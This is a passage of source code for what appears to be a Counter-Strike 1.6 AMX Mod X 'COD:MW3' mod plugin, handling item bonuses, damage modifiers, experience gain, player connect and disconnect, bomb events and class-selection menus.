  1631.  
  1632. if(informacje_przedmiotu_gracza[id][0] == 62)
  1633. give_item(id, "weapon_galil");
  1634.  
  1635. if(informacje_przedmiotu_gracza[id][0] == 10 || informacje_przedmiotu_gracza[id][0] == 9 || informacje_przedmiotu_gracza[id][0] == 59 || informacje_przedmiotu_gracza[id][0] == 31)
  1636. give_item(id, "weapon_hegrenade");
  1637.  
  1638. if(informacje_przedmiotu_gracza[id][0] == 56)
  1639. give_item(id, "weapon_m4a1");
  1640.  
  1641. if(informacje_przedmiotu_gracza[id][0] == 57)
  1642. give_item(id, "weapon_ak47");
  1643.  
  1644. if(informacje_przedmiotu_gracza[id][0] == 89)
  1645. {
  1646. itemo[id]++
  1647. if(itemo[id] > 1)
  1648. UsunPrzedmiot(id);
  1649. }
  1650.  
  1651. if(informacje_przedmiotu_gracza[id][0] == 9 || informacje_przedmiotu_gracza[id][0] == 31 || informacje_przedmiotu_gracza[id][0] == 55 || informacje_przedmiotu_gracza[id][0] == 67)
  1652. ZmienUbranie(id, 0);
  1653.  
  1654. if(informacje_przedmiotu_gracza[id][0] == 67)
  1655. {
  1656. give_item(id, "weapon_usp");
  1657. give_item(id, "weapon_mp5navy");
  1658. }
  1659.  
  1660. if(informacje_przedmiotu_gracza[id][0] == 1 || informacje_przedmiotu_gracza[id][0] == 32 || informacje_przedmiotu_gracza[id][0] == 42 || informacje_przedmiotu_gracza[id][0] == 50 || informacje_przedmiotu_gracza[id][0] == 54 || informacje_przedmiotu_gracza[id][0] == 58 || informacje_przedmiotu_gracza[id][0] == 59)
  1661. set_user_footsteps(id, 1);
  1662. else
  1663. set_user_footsteps(id, 0);
  1664.  
  1665. if(informacje_przedmiotu_gracza[id][0] == 13)
  1666. give_item(id, "weapon_awp");
  1667.  
  1668. if(informacje_przedmiotu_gracza[id][0] == 33)
  1669. give_item(id, "weapon_m4a1");
  1670.  
  1671. if(informacje_przedmiotu_gracza[id][0] == 32)
  1672. {
  1673. give_item(id, "weapon_ak47");
  1674. give_item(id, "weapon_awp");
  1675. }
  1676. if(informacje_przedmiotu_gracza[id][0] == 53)
  1677. {
  1678. give_item(id, "weapon_deagle");
  1679. give_item(id, "weapon_awp");
  1680. }
  1681. if(informacje_przedmiotu_gracza[id][0] == 33)
  1682. give_item(id, "weapon_m4a1");
  1683.  
  1684. if(informacje_przedmiotu_gracza[id][0] == 34)
  1685. give_item(id, "weapon_deagle");
  1686.  
  1687. if(informacje_przedmiotu_gracza[id][0] == 35)
  1688. give_item(id, "weapon_m3");
  1689.  
  1690. if(informacje_przedmiotu_gracza[id][0] == 55)
  1691. give_item(id, "weapon_scout");
  1692.  
  1693. if(informacje_przedmiotu_gracza[id][0] == 60)
  1694. give_item(id, "weapon_m4a1");
  1695.  
  1696. if(informacje_przedmiotu_gracza[id][0] == 19)
  1697. informacje_przedmiotu_gracza[id][1] = 1;
  1698.  
  1699. if(informacje_przedmiotu_gracza[id][0] == 84 || informacje_przedmiotu_gracza[id][0] == 75 || informacje_przedmiotu_gracza[id][0] == 76 || informacje_przedmiotu_gracza[id][0] == 45 || informacje_przedmiotu_gracza[id][0] == 87)
  1700. informacje_przedmiotu_gracza[id][1] = 1;
  1701.  
  1702. if(informacje_przedmiotu_gracza[id][0] == 27)
  1703. informacje_przedmiotu_gracza[id][1] = 3;
  1704.  
  1705. if(informacje_przedmiotu_gracza[id][0] == 38)
  1706. ilosc_apteczek_gracza[id] = 5;
  1707.  
  1708.  
  1709. if(informacje_przedmiotu_gracza[id][0] == 54)
  1710. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 1);
  1711.  
  1712. if(informacje_przedmiotu_gracza[id][0] == 36)
  1713. set_user_rendering(id, kRenderFxGlowShell, 0, 255, 0, kRenderGlow, 30);
  1714.  
  1715.  
  1716. new weapons[32];
  1717. new weaponsnum;
  1718. get_user_weapons(id, weapons, weaponsnum);
  1719. for(new i=0; i<weaponsnum; i++)
  1720. if(is_user_alive(id))
  1721. if(maxAmmo[weapons[i]] > 0)
  1722. cs_set_user_bpammo(id, weapons[i], maxAmmo[weapons[i]]);
  1723.  
  1724. redukcja_obrazen_gracza[id] = (47.3057*(1.0-floatpower( 2.7182, -0.06798*float(wytrzymalosc_gracza[id])))/100);
  1725. maksymalne_zdrowie_gracza[id] = zdrowie_klasy[klasa_gracza[id]]+zdrowie_gracza[id]*2;
  1726. szybkosc_gracza[id] = 250*szybkosc_klasy[klasa_gracza[id]]+floatround(kondycja_gracza[id]*1.3);
  1727.  
  1728. if(informacje_przedmiotu_gracza[id][0] == 82)
  1729. {
  1730. maksymalne_zdrowie_gracza[id] = 25;
  1731. set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 1)
  1732. }
  1733.  
  1734. if(informacje_przedmiotu_gracza[id][0] == 83)
  1735. {
  1736. maksymalne_zdrowie_gracza[id] = 90;
  1737. set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 15)
  1738. }
  1739.  
  1740. if(informacje_przedmiotu_gracza[id][0] == 80)
  1741. {
  1742. maksymalne_zdrowie_gracza[id] += informacje_przedmiotu_gracza[id][1];
  1743. give_item(id, "weapon_m3");
  1744. }
  1745.  
  1746. if(informacje_przedmiotu_gracza[id][0] == 70 || informacje_przedmiotu_gracza[id][0] == 50 || informacje_przedmiotu_gracza[id][0] == 71 || informacje_przedmiotu_gracza[id][0] == 37 || informacje_przedmiotu_gracza[id][0] == 42 || informacje_przedmiotu_gracza[id][0] == 18 || informacje_przedmiotu_gracza[id][0] == 30)
  1747. maksymalne_zdrowie_gracza[id] += 100;
  1748.  
  1749. if(informacje_przedmiotu_gracza[id][0] == 18)
  1750. szybkosc_gracza[id] -= 0.4;
  1751.  
  1752. if(informacje_przedmiotu_gracza[id][0] == 29)
  1753. {
  1754. maksymalne_zdrowie_gracza[id] += 50;
  1755. szybkosc_gracza[id] += 0.2;
  1756. }
  1757. if(informacje_przedmiotu_gracza[id][0] == 36)
  1758. maksymalne_zdrowie_gracza[id] = 10;
  1759.  
  1760. if(informacje_przedmiotu_gracza[id][0] == 39)
  1761. set_user_gravity(id, 0.5);
  1762.  
  1763. if(informacje_przedmiotu_gracza[id][0] == 54)
  1764. set_user_gravity(id, 0.8);
  1765.  
  1766. if(informacje_przedmiotu_gracza[id][0] == 30)
  1767. szybkosc_gracza[id] -= 20;
  1768.  
  1769. if(informacje_przedmiotu_gracza[id][0] == 25)
  1770. {
  1771. maksymalne_zdrowie_gracza[id] += 50;
  1772. szybkosc_gracza[id] -= 0.3;
  1773. }
  1774. if(informacje_przedmiotu_gracza[id][0] == 54)
  1775. maksymalne_zdrowie_gracza[id] = 1;
  1776.  
  1777. if(informacje_przedmiotu_gracza[id][0] == 50)
  1778. szybkosc_gracza[id] += 10;
  1779.  
  1780. if(informacje_przedmiotu_gracza[id][0] == 43)
  1781. szybkosc_gracza[id] += 20;
  1782.  
  1783. if(informacje_przedmiotu_gracza[id][0] == 44)
  1784. maksymalne_zdrowie_gracza[id] += 70;
  1785.  
  1786. if(informacje_przedmiotu_gracza[id][0] == 49)
  1787. informacje_przedmiotu_gracza[id][1] = 1;
  1788.  
  1789. if(informacje_przedmiotu_gracza[id][0] == 52)
  1790. informacje_przedmiotu_gracza[id][1] = 1;
  1791.  
  1792. if(informacje_przedmiotu_gracza[id][0] == 79)
  1793. ilosc_min_gracza[id] += 3;
  1794.  
  1795. if(informacje_przedmiotu_gracza[id][0] == 88)
  1796. maksymalne_zdrowie_gracza[id] *= 2;
  1797.  
  1798. set_user_armor(id, pancerz_klasy[klasa_gracza[id]]);
  1799. set_user_health(id, maksymalne_zdrowie_gracza[id]);
  1800. if(informacje_przedmiotu_gracza[id][0] == 17)
  1801. set_user_armor(id, 500);
  1802.  
  1803. if(informacje_przedmiotu_gracza[id][0] == 46)
  1804. set_user_armor(id, 500);
  1805.  
  1806. if(informacje_przedmiotu_gracza[id][0] == 64)
  1807. cs_set_user_money(id,16000);
  1808.  
  1809.  
  1810. return PLUGIN_CONTINUE;
  1811. }
  1812.  
  1813. public PoczatekRundy()
  1814. {
  1815. freezetime = false;
  1816. for(new id=0;id<=32;id++)
  1817. {
  1818. if(!is_user_alive(id))
  1819. continue;
  1820.  
  1821. set_task(0.1, "UstawSzybkosc", id+ZADANIE_USTAW_SZYBKOSC);
  1822.  
  1823. switch(get_user_team(id))
  1824. {
  1825. case 1: client_cmd(id, "spk mw/start");
  1826. case 2: client_cmd(id, "spk mw/start2");
  1827. }
  1828. }
  1829.  
  1830. round++;
  1831. new players[32], player, pnum;
  1832. get_players(players, pnum, "a");
  1833. for(new i = 0; i < pnum; i++)
  1834. {
  1835. player = players[i];
  1836. if(is_user_connected(player) && get_user_flags(player) & ADMIN_LEVEL_H)
  1837. {
  1838. if(!get_pcvar_num(g_menu_active))
  1839. return PLUGIN_CONTINUE
  1840. if(!is_user_hltv(player) && !is_user_bot(player))
  1841. {
  1842. give_item(player, "weapon_hegrenade");
  1843. give_item(player, "weapon_flashbang");
  1844. give_item(player, "weapon_flashbang");
  1845. give_item(player, "weapon_smokegrenade");
  1846. give_item(player, "item_assaultsuit");
  1847. give_item(player, "item_thighpack");
  1848. }
  1849. if(round > 3) Showrod(player)
  1850. }
  1851. }
  1852. return PLUGIN_HANDLED;
  1853. }
  1854.  
  1855. public NowaRunda()
  1856. {
  1857. NowaRunda_magnet();
  1858. freezetime = true;
  1859. new iEnt = find_ent_by_class(-1, "Mine");
  1860. while(iEnt > 0)
  1861. {
  1862. remove_entity(iEnt);
  1863. iEnt = find_ent_by_class(iEnt, "Mine");
  1864. }
  1865. }
  1866.  
  1867. public TakeDamage(this, idinflictor, idattacker, Float:damage, damagebits)
  1868. {
  1869. if(!is_user_alive(this) || !is_user_connected(this) || informacje_przedmiotu_gracza[this][0] == 24 || !is_user_connected(idattacker) || get_user_team(this) == get_user_team(idattacker) || !klasa_gracza[idattacker])
  1870. return HAM_IGNORED;
  1871.  
  1872. new health = get_user_health(this);
  1873. new weapon = get_user_weapon(idattacker);
  1874.  
  1875. if(health < 2)
  1876. return HAM_IGNORED;
  1877.  
  1878. if(informacje_przedmiotu_gracza[this][0] == 27 && informacje_przedmiotu_gracza[this][1]>0)
  1879. {
  1880. informacje_przedmiotu_gracza[this][1]--;
  1881. return HAM_SUPERCEDE;
  1882. }
  1883.  
  1884. if(informacje_przedmiotu_gracza[this][0] == 83)
  1885. damage -= floatmin(damage, 5.0);
  1886.  
  1887. if(informacje_przedmiotu_gracza[idattacker][0] == 81)
  1888. damage += 20.0;
  1889.  
  1890. if(informacje_przedmiotu_gracza[idattacker][0] == 30)
  1891. damage += 20.0;
  1892.  
  1893. if(informacje_przedmiotu_gracza[this][0] == 81)
  1894. damage -= floatmin(damage, 10.0);
  1895.  
  1896. if(informacje_przedmiotu_gracza[idattacker][0] == 79)
  1897. damage += 15.0;
  1898.  
  1899. if(informacje_przedmiotu_gracza[this][0] == 70)
  1900. damage -= floatmin(damage, 10.0);
  1901.  
  1902. if(wytrzymalosc_gracza[this]>0)
  1903. damage -= redukcja_obrazen_gracza[this]*damage;
  1904.  
  1905. if(informacje_przedmiotu_gracza[this][0] == 2 || informacje_przedmiotu_gracza[this][0] == 3)
  1906. damage-=(float(informacje_przedmiotu_gracza[this][1])<damage)? float(informacje_przedmiotu_gracza[this][1]): damage;
  1907.  
  1908. if(informacje_przedmiotu_gracza[idattacker][0] == 5 && !UTIL_In_FOV(this, idattacker) && UTIL_In_FOV(idattacker, this))
  1909. damage*=2.0;
  1910.  
  1911. if(informacje_przedmiotu_gracza[idattacker][0] == 10)
  1912. damage+=informacje_przedmiotu_gracza[idattacker][1];
  1913.  
  1914. if(informacje_przedmiotu_gracza[this][0] == 12)
  1915. damage-=(5.0<damage)? 5.0: damage;
  1916.  
  1917. if(informacje_przedmiotu_gracza[this][0] == 29)
  1918. damage-=(10.0<damage)? 10.0: damage;
  1919.  
  1920. if(informacje_przedmiotu_gracza[this][0] == 43)
  1921. damage-=(10.0<damage)? 10.0: damage;
  1922.  
  1923. if(informacje_przedmiotu_gracza[this][0] == 51)
  1924. damage-=(7.0<damage)? 7.0: damage;
  1925.  
  1926. if(weapon == CSW_AWP && informacje_przedmiotu_gracza[idattacker][0] == 13)
  1927. damage=float(health);
  1928.  
  1929. if(informacje_przedmiotu_gracza[idattacker][0] == 21)
  1930. damage+=10;
  1931.  
  1932. if(informacje_przedmiotu_gracza[idattacker][0] == 22)
  1933. damage+=20;
  1934.  
  1935. if(informacje_przedmiotu_gracza[idattacker][0] == 31)
  1936. damage+=25;
  1937.  
  1938. if(informacje_przedmiotu_gracza[idattacker][0] == 36)
  1939. damage+=9;
  1940.  
  1941. if(informacje_przedmiotu_gracza[idattacker][0] == 42)
  1942. damage+=8;
  1943.  
  1944. if(informacje_przedmiotu_gracza[idattacker][0] == 54)
  1945. damage+=30;
  1946.  
  1947. if(informacje_przedmiotu_gracza[idattacker][0] == 43)
  1948. damage+=10;
  1949.  
  1950. if(informacje_przedmiotu_gracza[idattacker][0] == 50)
  1951. damage+=10;
  1952.  
  1953. if(informacje_przedmiotu_gracza[idattacker][0] == 51)
  1954. damage+=5;
  1955.  
  1956. if(informacje_przedmiotu_gracza[idattacker][0] == 58)
  1957. damage+=20;
  1958.  
  1959. if(informacje_przedmiotu_gracza[idattacker][0] == 59)
  1960. damage+=15;
  1961.  
  1962. if(informacje_przedmiotu_gracza[idattacker][0] == 74 && damage >= 40.0)
  1963. client_cmd(this, "drop");
  1964.  
  1965. if(informacje_przedmiotu_gracza[idattacker][0] == 73)
  1966. set_user_health(idattacker, min(maksymalne_zdrowie_gracza[idattacker], get_user_health(idattacker)+floatround(damage)))
  1967.  
  1968. if(idinflictor != idattacker && entity_get_int(idinflictor, EV_INT_movetype) != 5)
  1969. {
  1970. if(informacje_przedmiotu_gracza[idattacker][0] == 10 || (informacje_przedmiotu_gracza[idattacker][0] == 9 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1))
  1971. damage = float(health);
  1972. }
  1973.  
  1974. if(weapon == CSW_SCOUT)
  1975. {
  1976. if((informacje_przedmiotu_gracza[idattacker][0] == 55 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1))
  1977. damage = float(health);
  1978. }
  1979.  
  1980. if(weapon == CSW_M4A1)
  1981. {
  1982. if((informacje_przedmiotu_gracza[idattacker][0] == 56 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1))
  1983. damage = float(health);
  1984. }
  1985.  
  1986. if(weapon == CSW_HEGRENADE)
  1987. {
  1988. if((klasa_gracza[idattacker] == RatkoMladic && random(2) == 1))
  1989. damage = float(health);
  1990. }
  1991.  
  1992. if(weapon == CSW_AWP)
  1993. {
  1994. if(klasa_gracza[idattacker] == RatkoMladic)
  1995. damage = float(health);
  1996. }
  1997.  
  1998. if(weapon == CSW_GALIL)
  1999. {
  2000. if((informacje_przedmiotu_gracza[idattacker][0] == 62 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1))
  2001. damage = float(health);
  2002. }
  2003.  
  2004. if(weapon == CSW_M4A1)
  2005. {
  2006. if((informacje_przedmiotu_gracza[idattacker][0] == 60 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1))
  2007. damage = float(health);
  2008. }
  2009.  
  2010. if(weapon == CSW_AK47)
  2011. {
  2012. if((informacje_przedmiotu_gracza[idattacker][0] == 57 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1))
  2013. damage = float(health);
  2014. }
  2015.  
  2016. if(weapon == CSW_KNIFE)
  2017. {
  2018. if(informacje_przedmiotu_gracza[this][0] == 4)
  2019. damage=damage*1.4+inteligencja_gracza[idattacker];
  2020. if(informacje_przedmiotu_gracza[idattacker][0] == 8 || (klasa_gracza[idattacker] == Snajperista && random(2) == 2) || klasa_gracza[idattacker] == Strelac && !(get_user_button(idattacker) & IN_ATTACK))
  2021. damage = float(health);
  2022.  
  2023. if(informacje_przedmiotu_gracza[this][0] == 82 || informacje_przedmiotu_gracza[this][0] == 83)
  2024. damage = float(health);
  2025.  
  2026. if(klasa_gracza[idattacker] == Samuraj && !random(2))
  2027. damage = float(health);
  2028. }
  2029. if(weapon == CSW_DEAGLE)
  2030. {
  2031. if(informacje_przedmiotu_gracza[idattacker][0] == 34 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1)
  2032. damage = float(health);
  2033. }
  2034. if(weapon == CSW_DEAGLE)
  2035. {
  2036. if((informacje_przedmiotu_gracza[idattacker][0] == 53 && random(2) == 1))
  2037. damage = float(health);
  2038. }
  2039.  
  2040. if(weapon == CSW_HEGRENADE)
  2041. {
  2042. if((informacje_przedmiotu_gracza[idattacker][0] == 59 && random(3) == 1))
  2043. damage = float(health);
  2044. }
  2045.  
  2046. if(weapon == CSW_M3)
  2047. {
  2048. if((informacje_przedmiotu_gracza[idattacker][0] == 35 && random_num(2, informacje_przedmiotu_gracza[idattacker][1]) == 2) || (informacje_przedmiotu_gracza[idattacker][0] == 80 && !random(5)))
  2049. damage = float(health);
  2050. }
  2051. if(weapon == CSW_AWP)
  2052. {
  2053. if(informacje_przedmiotu_gracza[idattacker][0] == 35 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1)
  2054. damage = float(health);
  2055. }
  2056. if(weapon == CSW_AWP)
  2057. {
  2058. if(informacje_przedmiotu_gracza[idattacker][0] == 53)
  2059. damage = float(health);
  2060. }
  2061. if(weapon == CSW_AWP)
  2062. {
  2063. if(informacje_przedmiotu_gracza[idattacker][0] == 32 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1)
  2064. damage = float(health);
  2065. }
  2066. if(weapon == CSW_HEGRENADE)
  2067. {
  2068. if(informacje_przedmiotu_gracza[idattacker][0] == 31 && random_num(1, informacje_przedmiotu_gracza[idattacker][1]) == 1)
  2069. damage = float(health);
  2070. }
  2071.  
  2072. if(informacje_przedmiotu_gracza[idattacker][0] == 67)
  2073. {
  2074. if(weapon == CSW_USP && !random(2))
  2075. damage = float(health);
  2076.  
  2077. if(weapon == CSW_MP5NAVY && !random(5))
  2078. damage = float(health);
  2079. }
  2080.  
  2081. if(informacje_przedmiotu_gracza[this][0] == 26 && random_num(1, informacje_przedmiotu_gracza[this][1]) == 1)
  2082. {
  2083. SetHamParamEntity(3, this);
  2084. SetHamParamEntity(1, idattacker);
  2085. }
  2086. if(informacje_przedmiotu_gracza[this][0] == 46 && random_num(1, informacje_przedmiotu_gracza[this][1]) == 1)
  2087. {
  2088. SetHamParamEntity(3, this);
  2089. SetHamParamEntity(1, idattacker);
  2090. }
  2091. if(informacje_przedmiotu_gracza[this][0] == 47 && random_num(1, informacje_przedmiotu_gracza[this][1]) == 1)
  2092. {
  2093. SetHamParamEntity(3, this);
  2094. SetHamParamEntity(1, idattacker);
  2095. }
  2096. if(task_exists(this+ZADANIE_ODBIJAJ))
  2097. {
  2098. SetHamParamEntity(3, this);
  2099. SetHamParamEntity(1, idattacker);
  2100. }
  2101.  
  2102. SetHamParamFloat(4, damage);
  2103. return HAM_IGNORED;
  2104. }
  2105.  
  2106. public Damage(id)
  2107. {
  2108. new attacker = get_user_attacker(id);
  2109. new damage = read_data(2);
  2110. if(!is_user_alive(attacker) || !is_user_connected(attacker) || id == attacker || !klasa_gracza[attacker])
  2111. return PLUGIN_CONTINUE;
  2112.  
  2113. if(informacje_przedmiotu_gracza[attacker][0] == 12 && random_num(1, informacje_przedmiotu_gracza[id][1]) == 1)
  2114. Display_Fade(id,1<<14,1<<14 ,1<<16,255,155,50,230);
  2115.  
  2116. if(get_user_team(id) != get_user_team(attacker))
  2117. {
  2118. while(damage>20)
  2119. {
  2120. damage-=20;
  2121. doswiadczenie_gracza[attacker]++;
  2122. }
  2123. }
  2124. SprawdzPoziom(attacker);
  2125. return PLUGIN_CONTINUE;
  2126. }
  2127.  
  2128. public Death()
  2129. {
  2130. new weaponname[20]
  2131. new headshot = read_data(3)
  2132. read_data(4,weaponname,31)
  2133. new id = read_data(2);
  2134. new attacker = read_data(1);
  2135.  
  2136. if(!is_user_alive(attacker) || !is_user_connected(attacker))
  2137. return PLUGIN_CONTINUE;
  2138.  
  2139. new weapon = get_user_weapon(attacker);
  2140. new zdrowie = get_user_health(attacker);
  2141. if(informacje_przedmiotu_gracza[id][0]) {
  2142. if(wytrzymalosc_itemu[id] > 0) {
  2143. wytrzymalosc_itemu[id]-=20;
  2144. }
  2145. if(wytrzymalosc_itemu[id] > 0) {
  2146. ColorChat(id, RED, "[COD:MW3] ^x01 Snaga Predmeta: %i.", wytrzymalosc_itemu[id]);
  2147. }
  2148. else {
  2149. ColorChat(id, RED, "[COD:MW3] ^x01 Predmet: %s, je potpuno unisten.", nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]]);
  2150. UsunPrzedmiot(id);
  2151. }
  2152. }
  2153. if(get_user_team(id) != get_user_team(attacker) && klasa_gracza[attacker])
  2154. {
  2155. new nowe_doswiadczenie = 0;
  2156.  
  2157. nowe_doswiadczenie += doswiadczenia_za_zabojstwo;
  2158.  
  2159. if(klasa_gracza[id] == Rambo && klasa_gracza[attacker] != Rambo)
  2160. nowe_doswiadczenie += doswiadczenia_za_zabojstwo*2;
  2161.  
  2162. if(poziom_gracza[id] > poziom_gracza[attacker])
  2163. nowe_doswiadczenie += poziom_gracza[id] - poziom_gracza[attacker];
  2164.  
  2165. if(informacje_przedmiotu_gracza[id][0] == 88 && !read_data(3))
  2166. set_user_health(attacker, 1);
  2167.  
  2168. if (get_user_flags(attacker) & ADMIN_LEVEL_H)
  2169. {
  2170. if(headshot)
  2171. {
  2172. new nowe_zdrowie = (zdrowie+30);
  2173. set_user_health(attacker, nowe_zdrowie);
  2174. cs_set_user_money(attacker, cs_get_user_money(attacker)+800);
  2175. }
  2176. else
  2177. {
  2178. new nowe_zdrowie = (zdrowie+15);
  2179. set_user_health(attacker, nowe_zdrowie);
  2180. cs_set_user_money(attacker, cs_get_user_money(attacker)+500);
  2181. }
  2182. }
  2183. if(klasa_gracza[attacker] == Rambo || klasa_gracza[attacker] == RatkoMladic|| informacje_przedmiotu_gracza[attacker][0] == 15 && maxClip[weapon] != -1)
  2184. {
  2185.  
  2186. new nowe_zdrowie = (zdrowie+20);
  2187. set_user_clip(attacker, maxClip[weapon]);
  2188. set_user_health(attacker, nowe_zdrowie);
  2189. }
  2190. if((!(klasa_gracza[attacker] == Rambo || klasa_gracza[attacker] == RatkoMladic)) && (informacje_przedmiotu_gracza[attacker][0] == 71 || informacje_przedmiotu_gracza[attacker][0] == 81))
  2191. {
  2192.  
  2193. new nowe_zdrowie = (zdrowie+25);
  2194. set_user_health(attacker, nowe_zdrowie);
  2195. }
  2196.  
  2197. if((!(klasa_gracza[attacker] == Rambo || klasa_gracza[attacker] == RatkoMladic)) && (informacje_przedmiotu_gracza[attacker][0] == 72 && maxClip[weapon] != -1))
  2198. set_user_clip(attacker, maxClip[weapon]);
  2199.  
  2200. #if defined BOTY
  2201. if(is_user_bot2(attacker) && random(9) == 0)
  2202. WyrzucPrzedmiot(id);
  2203. #endif
  2204. if(!informacje_przedmiotu_gracza[attacker][0])
  2205. DajPrzedmiot(attacker, random_num(1, sizeof nazwy_przedmiotow-1));
  2206.  
  2207. if(informacje_przedmiotu_gracza[attacker][0] == 14)
  2208. {
  2209. new nowe_zdrowie = (zdrowie+50<maksymalne_zdrowie_gracza[attacker])? zdrowie+50: maksymalne_zdrowie_gracza[attacker];
  2210. set_user_health(attacker, nowe_zdrowie);
  2211. }
  2212.  
  2213. set_hudmessage(255, 212, 0, 0.50, 0.33, 1, 6.0, 4.0);
  2214. ShowSyncHudMsg(attacker, SyncHudObj2, "+%i", nowe_doswiadczenie);
  2215.  
  2216. doswiadczenie_gracza[attacker] += nowe_doswiadczenie;
  2217. }
  2218.  
  2219. SprawdzPoziom(attacker);
  2220.  
  2221. if(informacje_przedmiotu_gracza[id][0] == 7 && random_num(1, informacje_przedmiotu_gracza[id][1]) == 1)
  2222. set_task(0.1, "Wskrzes", id+ZADANIE_WSKRZES);
  2223.  
  2224. return PLUGIN_CONTINUE;
  2225. }
  2226.  
  2227. public client_connect(id)
  2228. {
  2229. //resetuje umiejetnosci
  2230. klasa_gracza[id] = 0;
  2231. poziom_gracza[id] = 0;
  2232. doswiadczenie_gracza[id] = 0;
  2233. punkty_gracza[id] = 0;
  2234. zdrowie_gracza[id] = 0;
  2235. inteligencja_gracza[id] = 0;
  2236. wytrzymalosc_gracza[id] = 0;
  2237. kondycja_gracza[id] = 0;
  2238. maksymalne_zdrowie_gracza[id] = 0;
  2239. szybkosc_gracza[id] = 0.0;
  2240. hasZoom[id] = false
  2241. pomocs[id] = true;
  2242.  
  2243. get_user_name(id, nazwa_gracza[id], 63);
  2244.  
  2245. remove_task(id+ZADANIE_POKAZ_INFORMACJE);
  2246. remove_task(id+ZADANIE_POKAZ_REKLAME);
  2247. remove_task(id+ZADANIE_USTAW_SZYBKOSC);
  2248. remove_task(id+ZADANIE_WSKRZES);
  2249. remove_task(id+ZADANIE_WYSZKOLENIE_SANITARNE);
  2250.  
  2251. set_task(10.0, "PokazReklame", id+ZADANIE_POKAZ_REKLAME);
  2252. set_task(3.0, "PokazInformacje", id+ZADANIE_POKAZ_INFORMACJE);
  2253.  
  2254. //resetuje przedmioty
  2255. UsunPrzedmiot(id);
  2256. }
  2257.  
  2258. public client_disconnect(id)
  2259. {
  2260. remove_task(id+ZADANIE_POKAZ_INFORMACJE);
  2261. remove_task(id+ZADANIE_POKAZ_REKLAME);
  2262. remove_task(id+ZADANIE_USTAW_SZYBKOSC);
  2263. remove_task(id+ZADANIE_WSKRZES);
  2264. remove_task(id+ZADANIE_WYSZKOLENIE_SANITARNE);
  2265. hasZoom[id] = false
  2266. ZapiszDane(id);
  2267. UsunPrzedmiot(id);
  2268. client_disconnect_magnet(id);
  2269. }
  2270.  
  2271. public RozbrajaBombe(id)
  2272. if(klasa_gracza[id])
  2273. rozbrajajacy = id;
  2274.  
  2275. public BombaPodlozona()
  2276. {
  2277. new Players[32], playerCount, id;
  2278. get_players(Players, playerCount, "aeh", "TERRORIST");
  2279.  
  2280. if(get_playersnum() > 1)
  2281. {
  2282. doswiadczenie_gracza[podkladajacy] += doswiadczenie_za_bombe;
  2283. for (new i=0; i<playerCount; i++)
  2284. {
  2285. id = Players[i];
  2286. if(!klasa_gracza[id])
  2287. continue;
  2288.  
  2289. if(id != podkladajacy)
  2290. {
  2291. doswiadczenie_gracza[id] += doswiadczenia_za_zabojstwo;
  2292. ColorChat(id, RED, "[COD:MW3] ^x04 Dobio si %i zato sto je tvoj tim postavio bombu.", doswiadczenia_za_zabojstwo);
  2293. }
  2294. else
  2295. {
  2296. ColorChat(id, RED, "[COD:MW3] ^x04 Dobio si %i zato sto si postavio bombu.", doswiadczenie_za_bombe);
  2297. }
  2298. SprawdzPoziom(id);
  2299. }
  2300. }
  2301. }
  2302.  
  2303. public BombaRozbrojona()
  2304. {
  2305. new Players[32], playerCount, id;
  2306. get_players(Players, playerCount, "aeh", "CT");
  2307.  
  2308. doswiadczenie_gracza[rozbrajajacy] += doswiadczenie_za_bombe;
  2309. for (new i=0; i<playerCount; i++)
  2310. {
  2311. id = Players[i];
  2312. if(!klasa_gracza[id])
  2313. continue;
  2314. if(id != rozbrajajacy)
  2315. {
  2316. doswiadczenie_gracza[id]+= doswiadczenia_za_zabojstwo;
  2317. ColorChat(id, RED, "[COD:MW3] ^x04 Dobio si %i zato sto je tvoj tim deaktivirao bombu.", doswiadczenia_za_zabojstwo);
  2318. }
  2319. else
  2320. ColorChat(id, RED, "[COD:MW3] ^x04 Dobio si %i zato sto si deaktivirao bombu.",doswiadczenie_za_bombe);
  2321. SprawdzPoziom(id);
  2322. }
  2323. }
  2324.  
  2325. public OpisKlasy(id)
  2326. {
  2327. new menu = menu_create("Izaberi Klasu:", "OpisKlasy_Handle");
  2328. for(new i=1; i<sizeof nazwy_klas; i++)
  2329. menu_additem(menu, nazwy_klas[i]);
  2330. menu_setprop(menu, MPROP_EXITNAME, "Izlaz");
  2331. menu_setprop(menu, MPROP_BACKNAME, "Predhodna Strana");
  2332. menu_setprop(menu, MPROP_NEXTNAME, "Sledeca Strana");
  2333. menu_display(id, menu);
  2334.  
  2335. client_cmd(id, "spk mw/select");
  2336. }
  2337.  
  2338. public OpisKlasy_Handle(id, menu, item)
  2339. {
  2340. client_cmd(id, "spk mw/select");
  2341.  
  2342. if(item == MENU_EXIT)
  2343. {
  2344. menu_destroy(menu);
  2345. return PLUGIN_CONTINUE;
  2346. }
  2347. ColorChat(id, RED, "[COD:MW3] ^x04 %s: %s", nazwy_klas[item+1], opisy_klas[item+1]);
  2348. menu_display(id, menu);
  2349.  
  2350. return PLUGIN_CONTINUE;
  2351. }
  2352.  
  2353. public WybierzKlase(id)
  2354. {
  2355. new menu = menu_create("Izaberi Klase:", "Wybierzfrakcje_Handle");
  2356. for(new i = 1;i<sizeof(frakcje);i++){
  2357. menu_additem(menu, frakcje[i]);
  2358. }
  2359. menu_display(id, menu);
  2360. }
  2361.  
  2362. public Wybierzfrakcje_Handle(id, menu2, item)
  2363. {
  2364. if(item == MENU_EXIT)
  2365. {
  2366. menu_destroy(menu2);
  2367. return PLUGIN_CONTINUE;
  2368. }
  2369.  
  2370. item++;
  2371. frakcja_gracza[id] = item;
  2372. new menu = menu_create("Izaberi Klase:", "WybierzKlase_Handle");
  2373. new klasa[50];
  2374. for(new i=1; i<sizeof nazwy_klas; i++)
  2375. {
  2376. if(nalezy_do[i] == item){
  2377. WczytajDane(id, i);
